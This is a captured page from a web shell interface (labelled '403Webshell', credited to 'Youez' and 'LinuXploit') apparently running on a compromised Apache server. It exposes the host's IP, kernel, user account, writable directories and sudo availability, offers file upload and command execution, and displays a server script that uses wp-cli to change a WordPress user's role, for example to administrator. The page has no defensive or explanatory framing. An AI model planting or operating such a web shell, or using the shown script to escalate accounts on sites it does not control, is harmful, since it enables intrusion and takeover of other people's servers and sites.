403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.10
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/bloxbycommands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/bloxbycommands/changeinrole.sh
#!/bin/bash
# change_role.sh
# Usage: ./change_role.sh /var/www/mysite info@site.com administrator

# Exit if any command fails
set -e

# Parameters
SITE_PATH=$1
USER_EMAIL=$2
NEW_ROLE=$3

# Check params
if [ -z "$SITE_PATH" ] || [ -z "$USER_EMAIL" ] || [ -z "$NEW_ROLE" ]; then
  echo "Usage: $0 <site_path> <user_email> <new_role>"
  exit 1
fi

# Change to site directory
cd "$SITE_PATH" || { echo "Directory not found: $SITE_PATH"; exit 1; }

# Update user role
wp user update "$USER_EMAIL" --role="$NEW_ROLE" --allow-root

echo "✅ User $USER_EMAIL role changed to $NEW_ROLE in $SITE_PATH"

Youez - 2016 - github.com/yon3zu
LinuXploit